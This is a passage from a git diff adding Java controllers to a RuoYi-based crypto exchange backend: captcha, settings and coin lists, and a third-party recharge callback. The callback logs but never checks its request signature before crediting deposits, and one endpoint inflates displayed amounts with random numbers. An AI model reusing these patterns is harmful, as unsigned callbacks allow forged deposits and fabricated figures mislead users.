com.ruoyi.common.utils.sql.SqlUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.InitBinder; + +import javax.servlet.http.HttpServletRequest; +import java.beans.PropertyEditorSupport; +import java.util.Date; +import java.util.List; + +public class ApiBaseController { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + /** + * 将前台传递过来的日期格式的字符串,自动转化为Date类型 + */ + @InitBinder + public void initBinder(WebDataBinder binder) + { + // Date 类型转换 + binder.registerCustomEditor(Date.class, new PropertyEditorSupport() + { + @Override + public void setAsText(String text) + { + setValue(DateUtils.parseDate(text)); + } + }); + } + + /** + * 设置请求分页数据 + */ + protected void startPage() + { + PageUtils.startPage(); + } + + /** + * 设置请求排序数据 + */ + protected void startOrderBy() + { + PageDomain pageDomain = TableSupport.buildPageRequest(); + if (StringUtils.isNotEmpty(pageDomain.getOrderBy())) + { + String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy()); + PageHelper.orderBy(orderBy); + } + } + + /** + * 清理分页的线程变量 + */ + protected void clearPage() + { + PageUtils.clearPage(); + } + + /** + * 响应请求分页数据 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTable(List list) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(list); + rspData.setTotal(new PageInfo(list).getTotal()); + return rspData; + } + /** + * 响应请求分页数据 + * list为封装后的ArrayList列表对象,list2为startPage()后得到的Page列表对象,两者数据条数需保持一致 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTableFrom2Lists(List list,List list2) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(list); + rspData.setTotal(new PageInfo(list2).getTotal()); + return rspData; + } + /** + * 响应请求分页数据 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTable(List listVO, List list) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(listVO); + rspData.setTotal(new PageInfo(list).getTotal()); + return rspData; + } + + /** + * 获取用户ID + * @return + */ + public Long getStpUserId(){ + return StpUtil.getLoginIdAsLong(); + } + /** + * 获取用户ID + * @return + */ + public TAppUser getAppUser(){ + long loginIdAsLong = StpUtil.getLoginIdAsLong(); + ITAppUserService appUserService = SpringContextUtil.getBean(ITAppUserService.class); + return appUserService.selectTAppUserByUserId(loginIdAsLong); + } + /** + * 返回成功 + */ + public AjaxResult success() + { + return AjaxResult.success(); + } + + /** + * 返回失败消息 + */ + public AjaxResult error() + { + return AjaxResult.error(); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(String message) + { + return AjaxResult.success(message); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(Object data) + { + return AjaxResult.success(data); + } + + /** + * 返回失败消息 + */ + public AjaxResult error(String message) + { + return AjaxResult.error(message); + } + + /** + * 返回警告消息 + */ + public AjaxResult warn(String message) + { + return AjaxResult.warn(message); + } + + /** + * 响应返回结果 + * + * @param rows 影响行数 + * @return 操作结果 + */ + protected AjaxResult toAjax(int rows) + { + return rows > 0 ? AjaxResult.success() : AjaxResult.error(); + } + + /** + * 响应返回结果 + * + * @param result 结果 + * @return 操作结果 + */ + protected AjaxResult toAjax(boolean result) + { + return result ? success() : error(); + } + + /** + * 页面跳转 + */ + public String redirect(String url) + { + return StringUtils.format("redirect:{}", url); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java new file mode 100644 index 0000000..d2d6e8c --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java @@ -0,0 +1,94 @@ +package com.ruoyi.web.controller.common; + +import java.awt.image.BufferedImage; +import java.io.IOException; +import java.util.concurrent.TimeUnit; +import javax.annotation.Resource; +import javax.imageio.ImageIO; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.FastByteArrayOutputStream; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import com.google.code.kaptcha.Producer; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.sign.Base64; +import com.ruoyi.common.utils.uuid.IdUtils; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 验证码操作处理 + * + * @author ruoyi + */ +@RestController +public class CaptchaController +{ + @Resource(name = "captchaProducer") + private Producer captchaProducer; + + @Resource(name = "captchaProducerMath") + private Producer captchaProducerMath; + + @Autowired + private RedisCache redisCache; + + @Autowired + private ISysConfigService configService; + /** + * 生成验证码 + */ + @GetMapping("/captchaImage") + public AjaxResult getCode(HttpServletResponse response) throws IOException + { + AjaxResult ajax = AjaxResult.success(); + boolean captchaEnabled = configService.selectCaptchaEnabled(); + ajax.put("captchaEnabled", captchaEnabled); + if (!captchaEnabled) + { + return ajax; + } + + // 保存验证码信息 + String uuid = IdUtils.simpleUUID(); + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + uuid; + + String capStr = null, code = null; + BufferedImage image = null; + + // 生成验证码 + String captchaType = RuoYiConfig.getCaptchaType(); + if ("math".equals(captchaType)) + { + String capText = captchaProducerMath.createText(); + capStr = capText.substring(0, capText.lastIndexOf("@")); + code = capText.substring(capText.lastIndexOf("@") + 1); + image = captchaProducerMath.createImage(capStr); + } + else if ("char".equals(captchaType)) + { + capStr = code = captchaProducer.createText(); + image = captchaProducer.createImage(capStr); + } + + redisCache.setCacheObject(verifyKey, code, Constants.CAPTCHA_EXPIRATION, TimeUnit.MINUTES); + // 转换流信息写出 + FastByteArrayOutputStream os = new FastByteArrayOutputStream(); + try + { + ImageIO.write(image, "jpg", os); + } + catch (IOException e) + { + return AjaxResult.error(e.getMessage()); + } + + ajax.put("uuid", uuid); + ajax.put("img", Base64.encode(os.toByteArray())); + return ajax; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CommonController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CommonController.java new file mode 100644 index 0000000..a49c824 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CommonController.java @@ -0,0 +1,457 @@ +package com.ruoyi.web.controller.common; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.time.LocalDateTime; +import java.time.ZoneId; +import java.time.ZoneOffset; +import java.time.ZonedDateTime; +import java.util.*; +import java.util.stream.Collectors; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + +import cn.hutool.json.JSONArray; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.binance.connector.client.SpotClient; +import com.binance.connector.client.impl.SpotClientImpl; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.TranslatorUtil; +import com.ruoyi.framework.web.domain.server.Sys; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.system.service.ISysDictTypeService; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.config.ServerConfig; + +/** + * 通用请求处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/api/common") +public class CommonController +{ + private static final Logger log = LoggerFactory.getLogger(CommonController.class); + + @Resource + private RedisCache redisCache; + @Resource + private FileService fileService; + @Resource + private SettingService settingService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITContractCoinService tContractCoinService; + @Resource + private ISysDictTypeService dictTypeService; + @Resource + private List marketThread; + @Resource + private ITBotKlineModelService tBotKlineModelService; + + + private static final String FILE_DELIMETER = ","; + + /** + * oss通用上传请求 + */ + @PostMapping("/upload/OSS") + public AjaxResult uploadFileOSS(MultipartFile file, String remark) { + try { + String filename = file.getResource().getFilename(); + //这里文件名用了uuid 防止重复,可以根据自己的需要来写 + String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String url = fileService.uploadFileOSS(file,name); + Map ajax =new HashMap(); + ajax.put("fileName", name); + ajax.put("url", url); + return AjaxResult.success(ajax); + } catch (Exception e) { + e.getMessage(); + return AjaxResult.error(e.getMessage()); + } + } + + @ApiOperation(value = "获取币种列表") + @PostMapping("/getCoinList") + public AjaxResult getCoinList() { + //查询币种跟随性价格 + // LocalDateTime now = LocalDateTime.now(); + // LocalDateTime beforeTime = now.minusDays(1); + // List list = tBotKlineModelService.list(new LambdaQueryWrapper().between(TBotKlineModel::getBeginTime, beforeTime, now).eq(TBotKlineModel::getModel, 0)); + HashMap stringBigDecimalHashMap = tBotKlineModelService.getyesterdayPrice(); + List coinList = tSecondCoinConfigService.getSymbolList(); + for (SymbolCoinConfigVO s:coinList) { + BigDecimal bigDecimal = stringBigDecimalHashMap.get(s.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(s.getCoin()); + s.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + if(s.getMarket().equals("metal")){ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + }else{ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin().toLowerCase()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + } + List currencyList = tCurrencySymbolService.getSymbolList(); + for (TCurrencySymbol t:currencyList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + t.getCoin().toLowerCase()); + t.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(t.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(t.getCoin().toLowerCase()); + t.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + } + List contractList = tContractCoinService.getCoinList(); + for (TContractCoin coin:contractList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.getCoin().toLowerCase()); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(coin.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(coin.getCoin().toLowerCase()); + coin.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + coin.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + Map map = new HashMap<>(); + map.put("coinList",coinList); + map.put("currencyList",currencyList); + map.put("contractList",contractList); + return AjaxResult.success(map); + } + + @ApiOperation(value = "获取客服列表") + @PostMapping("/getCustomerService") + public AjaxResult getCustomerService() { + Setting setting = settingService.get(SettingEnum.SUPPORT_STAFF_SETTING.name()); + List supportStaffSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class); + return AjaxResult.success(supportStaffSettings); + } + @ApiOperation(value = "获取登录注册开关") + @PostMapping("/getLoginRegisterList") + public AjaxResult getLoginRegisterList() { + Setting setting = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + LoginRegisSetting loginOrRegisList = JSONUtil.toBean(setting.getSettingValue(), LoginRegisSetting.class); + return AjaxResult.success(loginOrRegisList); + } + + + @ApiOperation(value = "获取App侧边栏配置") + @PostMapping("/getAppSidebarSetting") + public AjaxResult getAppSidebarSetting() { + Setting setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + String settingValue = setting.getSettingValue(); + JSONArray objects = JSONUtil.parseArray(settingValue); + List list = JSONUtil.toList(objects, AppSidebarSetting.class) + .stream().sorted(Comparator.comparing(AppSidebarSetting::getSort)).collect(Collectors.toList()); + return AjaxResult.success(list); + } + + + + @ApiOperation(value = "充值通道列表") + @PostMapping("/getAppCurrencyList") + public AjaxResult getAppCurrencyList() { + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + return AjaxResult.success(list); + } + + + @ApiOperation(value = "提现通道列表") + @PostMapping("/getWithDrawCoinList") + public AjaxResult getWithdrawalSetting() { + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class); + return AjaxResult.success(list); + } + + @ApiOperation(value = "白皮书") + @PostMapping("/getWhitePaperSetting") + public AjaxResult getWhitePaperSetting() { + Setting setting = settingService.get(SettingEnum.WHITE_PAPER_SETTING.name()); + WhitePaperSetting whitePaper = JSONUtil.toBean(setting.getSettingValue(), WhitePaperSetting.class); + return AjaxResult.success(whitePaper); + } + + @ApiOperation(value = "defi挖矿配置") + @PostMapping("/getDefiIncomeSetting") + public AjaxResult getDefiIncomeSetting() { + Setting setting = settingService.get(SettingEnum.DEFI_INCOME_SETTING.name()); + DefiIncomeSetting defiIncome = JSONUtil.toBean(setting.getSettingValue(), DefiIncomeSetting.class); + return AjaxResult.success(defiIncome); + } + + @ApiOperation(value = "玩法配置") + @PostMapping("/getPlayingSetting") + public AjaxResult getPlayingSetting() { + Setting setting = settingService.get(SettingEnum.PLAYING_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), PlayingSetting.class)); + } + @ApiOperation(value = "tab头配置") + @PostMapping("/geTabSetting") + public AjaxResult geTabSetting() { + Setting setting = settingService.get(SettingEnum.TAB_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TabSetting.class)); + } + @ApiOperation(value = "底部菜单") + @PostMapping("/getBottomMenuSetting") + public AjaxResult getBottomMenuSetting() { + Setting setting = settingService.get(SettingEnum.BOTTOM_MENU_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), BottomMenuSetting.class)); + } + + @ApiOperation(value = "金刚区") + @PostMapping("/getMiddleMenuSetting") + public AjaxResult getMiddleMenuSetting() { + Setting setting = settingService.get(SettingEnum.MIDDLE_MENU_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), MiddleMenuSetting.class)); + } + + @ApiOperation(value = "Logo配置") + @PostMapping("/getLogoSetting") + public AjaxResult getLogoSetting() { + Setting setting = settingService.get(SettingEnum.LOGO_SETTING.name()); + return setting == null ? + AjaxResult.success(new LogoSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LogoSetting.class)); + } + + @ApiOperation(value = "首页币种配置") + @PostMapping("/getHomeCoinSetting") + public AjaxResult getHomeCoinSetting() { + Setting setting = settingService.get(SettingEnum.HOME_COIN_SETTING.name()); + List collect = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), HomeCoinSetting.class).stream().sorted(Comparator.comparing(HomeCoinSetting::getSort)).collect(Collectors.toList()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(collect); + } + + + + + + @ApiOperation(value = "字典列表") + @PostMapping(value = "/type/{dictType}") + public AjaxResult dictType(@PathVariable String dictType, HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + List data = dictTypeService.selectDictDataByType(dictType); + if (!CollectionUtils.isEmpty(data)){ + if ("t_repay_type".equals(dictType)){ + data.stream().forEach(d ->{ + if (!lang.equals("zh")){ + try { + d.setDictLabel(TranslatorUtil.translate("zh-CN",lang,d.getDictLabel())); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } ); + } + }else{ + data = new ArrayList(); + } + return AjaxResult.success(data); + } + + @ApiOperation(value = "谷歌翻译") + @PostMapping(value = "/googleTranslator") + public AjaxResult googleTranslator( String langFrom,String langTo,String text) + { + try { + String translate = TranslatorUtil.translate(langFrom, langTo, text); + return AjaxResult.success(translate); + } catch (Exception e) { + log.error("翻译失败",e); + } + return AjaxResult.success(""); + } + + + + @ApiOperation(value = "获取所有配置") + @PostMapping("/getAllSetting") + public AjaxResult getAllSetting() { + //提现 + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + HashMap map = new HashMap<>(); + map.put("WITHDRAWAL_CHANNEL_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class)); + //首页 + setting = settingService.get(SettingEnum.HOME_COIN_SETTING.name()); + map.put("HOME_COIN_SETTING", setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), HomeCoinSetting.class) + .stream().sorted(Comparator.comparing(HomeCoinSetting::getSort)).collect(Collectors.toList())); + //获取客服列表 + setting = settingService.get(SettingEnum.SUPPORT_STAFF_SETTING.name()); + map.put("SUPPORT_STAFF_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class)); + //获取登录注册开关 + setting = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + map.put("LOGIN_REGIS_SETTING",setting == null ? new LoginRegisSetting() : + JSONUtil.toBean(setting.getSettingValue(), LoginRegisSetting.class)); + //获取App侧边栏配置 + setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + map.put("APP_SIDEBAR_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class) + .stream().sorted(Comparator.comparing(AppSidebarSetting::getSort)).collect(Collectors.toList())); + //充值通道列表 + setting = settingService.get(SettingEnum.ASSET_COIN.name()); + map.put("ASSET_COIN",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class)); + //白皮书 +/* setting = settingService.get(SettingEnum.WHITE_PAPER_SETTING.name()); + map.put("WHITE_PAPER_SETTING",setting == null ? new WhitePaperSetting() : + JSONUtil.toBean(setting.getSettingValue(), WhitePaperSetting.class));*/ + //defi挖矿配置 + setting = settingService.get(SettingEnum.DEFI_INCOME_SETTING.name()); + map.put("DEFI_INCOME_SETTING",setting == null ? new DefiIncomeSetting() : + JSONUtil.toBean(setting.getSettingValue(), DefiIncomeSetting.class)); + //玩法配置 + setting = settingService.get(SettingEnum.PLAYING_SETTING.name()); + map.put("PLAYING_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), PlayingSetting.class) + .stream().sorted(Comparator.comparing(PlayingSetting::getSort)).collect(Collectors.toList())); + + //投部TAB_SETTING + setting = settingService.get(SettingEnum.TAB_SETTING.name()); + map.put("TAB_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TabSetting.class) + .stream().sorted(Comparator.comparing(TabSetting::getSort)).collect(Collectors.toList())); + //底部菜单 + setting = settingService.get(SettingEnum.BOTTOM_MENU_SETTING.name()); + map.put("BOTTOM_MENU_SETTING",setting == null ?new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), BottomMenuSetting.class) + .stream().sorted(Comparator.comparing(BottomMenuSetting::getSort)).collect(Collectors.toList())); + //金刚区 + setting = settingService.get(SettingEnum.MIDDLE_MENU_SETTING.name()); + map.put("MIDDLE_MENU_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), MiddleMenuSetting.class) + .stream().sorted(Comparator.comparing(MiddleMenuSetting::getSort)).collect(Collectors.toList())); + //Logo配置 + setting = settingService.get(SettingEnum.LOGO_SETTING.name()); + map.put("LOGO_SETTING",setting == null ? new LogoSetting() : + JSONUtil.toBean(setting.getSettingValue(), LogoSetting.class)); + //下载地址 + setting = settingService.get(SettingEnum.DOWNLOAD_SETTING.name()); + map.put("DOWNLOAD_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), DownloadSetting.class) + .stream().sorted(Comparator.comparing(DownloadSetting::getSort)).collect(Collectors.toList())); + + //图形验证码 + setting = settingService.get(SettingEnum.MARKET_URL.name()); + map.put("MARKET_URL",setting == null ? new MarketUrlSetting() : + JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class)); + + //多语言 + List data = dictTypeService.selectDictDataByType("t_app_language"); + if (StringUtils.isNull(data)) + { + data = new ArrayList(); + } + map.put("t_app_language",data); + + //vip 等级配置 + setting = settingService.get(SettingEnum.VIP_LEVEL_SETTING.name()); + map.put("VIP_LEVEL_SETTING",setting == null ? new VipLevelSetting() : + JSONUtil.toBean(setting.getSettingValue(), VipLevelSetting.class)); + + //vip 说明 + setting = settingService.get(SettingEnum.VIP_DIRECTIONS_SETTING.name()); + map.put("VIP_DIRECTIONS_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), VipDirectionsSetting.class)); + //时区 + setting = settingService.get(SettingEnum.PLATFORM_SETTING.name()); + if(null == setting){ + com.ruoyi.common.core.domain.entity.TimeZone timeZone = DateUtils.getTimeZone(); + map.put("timeZone",timeZone); + + }else { + PlatformSetting platformSetting = JSONUtil.toBean(setting.getSettingValue(), PlatformSetting.class); + com.ruoyi.common.core.domain.entity.TimeZone timeZone = DateUtils.getTimeZone(platformSetting.getTimezone()); + map.put("timeZone",timeZone); + } + setting = settingService.get(SettingEnum.AUTH_LIMIT.name()); + map.put("AUTH_LIMIT",setting == null ? new AuthLimitSetting():JSONUtil.toBean(setting.getSettingValue(),AuthLimitSetting.class)); + return AjaxResult.success(map); + } +/* @PostMapping("/starSubMark") + public void starSubMark() { + for (MarketThread thread : marketThread) { + thread.marketThreadRun(); + } + }*/ + + @PostMapping("/getMt5Amount") + public AjaxResult getMt5Amount( String coin) { + if(redisCache.hasKey("amount:"+coin)){ + Long amount = redisCache.getCacheObject("amount:"+coin); + if(amount==null){ + amount=0L; + } + Double v = (Math.random() * 100) + 1; + Long add = v.longValue(); + amount+=add; + redisCache.setCacheObject("amount:"+coin,amount); + return AjaxResult.success(amount); + }else { + Double v = (Math.random() * 10000 + 5000); + Long amount = v.longValue(); + redisCache.setCacheObject("amount:"+coin,amount); + return AjaxResult.success(amount); + } + } + + @PostMapping("/getWithdrawMt5Amount") + public AjaxResult getWithdrawMt5Amount( String coin) { + BigDecimal price = "USD".equals(coin.toUpperCase())?BigDecimal.ONE:redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toUpperCase() + "USD"); + if (Objects.isNull(price)){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "USD"+coin.toUpperCase()); + }else{ + price = BigDecimal.ONE.divide(price,6,RoundingMode.DOWN); + } + return AjaxResult.success(price); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/RechargeRecallController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/RechargeRecallController.java new file mode 100644 index 0000000..edc0f9b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/RechargeRecallController.java @@ -0,0 +1,225 @@ +package com.ruoyi.web.controller.recall; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.ThirdTypeUncEmun; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.udun.client.UdunClient; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.web.controller.common.ApiBaseController; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.io.IOException; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * @author pc + */ +@RestController +@RequestMapping("/api/recall/pay") +@Slf4j +public class RechargeRecallController extends ApiBaseController { + + @Resource + private ITAppRechargeService appRechargeService; + + @Resource + private ITAppAssetService assetService; + @Autowired + private ITAppWalletRecordService recordService; + + @Resource + private ITAppUserService appUserService; + + @Resource + private ITUserSymbolAddressService userSymbolAddressService; + @Resource + private ITWithdrawService withdrawService; + @Resource + private ITAppAssetService itAppUserService; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private SettingService settingService; + @PostMapping(value = "/unc") + public void tradeCallback(@RequestParam("timestamp") String timestamp, + @RequestParam("nonce") String nonce, + @RequestParam("body") String body, + @RequestParam("sign") String sign) throws IOException { + log.info("timestamp:{},nonce:{},sign:{},body:{}", timestamp, nonce, sign, body); + onePay(body); + } + private synchronized void onePay(String recallVO) throws IOException { + log.info("unc recall post body: {}", recallVO); + JSONObject postData = JSON.parseObject(recallVO); + // 三方订单编号 + String fee = postData.getString("fee"); + //地址 + String address = postData.getString("address"); + + String amount = postData.getString("amount"); + + String decimals = postData.getString("decimals"); + + String businessId = postData.getString("businessId"); + //0 待審核1 審核成功2 審核駁回3 交易成功4 交易失敗 + Integer status = postData.getInteger("status"); + Integer tradeType = postData.getInteger("tradeType"); + String tradeId = postData.getString("tradeId"); + String coinType = postData.getString("coinType"); + String mainCoinType = postData.getString("mainCoinType"); + TUserSymbolAddress param = new TUserSymbolAddress(); + param.setAddress(address); + List list = userSymbolAddressService.selectTUserSymbolAddressList(param); + if (!CollectionUtils.isEmpty(list)) { + TUserSymbolAddress tUserSymbolAddress = list.get(0); + Double real = Math.pow(10, Double.valueOf(decimals)); + BigDecimal decimal = new BigDecimal(amount); + BigDecimal realAmount = decimal.divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + BigDecimal fee1 = new BigDecimal(fee).divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + log.info("{}代付回调信息:{},{},{},{},{}", address, amount, businessId, status, tradeId); + if (tradeType == 1) { + TAppRecharge appRecharge = new TAppRecharge(); + appRecharge.setAddress(tUserSymbolAddress.getAddress()); + appRecharge.setUserId(tUserSymbolAddress.getUserId()); + + log.error("代收回调时,订单不存在, third_serial_id:{}", tradeId); + ThirdPaySetting setting = settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + String symbol = ""; + String name = ""; + if (Objects.nonNull(setting)) { + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + List coinList = udunClient.listSupportCoin(false); + for (Coin coin: coinList) { + if(mainCoinType.equals(coin.getMainCoinType())&&coinType.equals(coin.getCoinType())){ + symbol = coin.getSymbol(); + if(symbol.indexOf("USDT")>-1){ + symbol="usdt"; + } + name =coin.getName(); + } + } + //获取所有 然后获取主币,然后获取子币 + JSONObject.toJSONString(coinList); + log.info(JSONObject.toJSONString(coinList)); + } + //创建订单 + if (3 == status) { + log.info("symbol"+symbol); + TAppUser tAppUser = appUserService.selectTAppUserByUserId(tUserSymbolAddress.getUserId()); + TAppRecharge appRecharge1 = new TAppRecharge(); + appRecharge1.setRealAmount(realAmount); + appRecharge1.setAddress(address); + appRecharge1.setUsername(tAppUser.getLoginName()); + appRecharge1.setCreateTime(new Date()); + appRecharge1.setSerialId(tradeId); + appRecharge1.setTxId(tradeId); + appRecharge1.setCoin(symbol.toLowerCase()); + appRecharge1.setUpdateTime(new Date()); + appRecharge1.setRemark("优盾充值成功"); + appRecharge1.setAmount(realAmount); + appRecharge1.setStatus("1"); + appRecharge1.setType(name); + appRecharge1.setUserId(tAppUser.getUserId()); + appRecharge1.setAdminParentIds(tAppUser.getAdminParentIds()); + appRechargeService.save(appRecharge1); + Map assetMap = 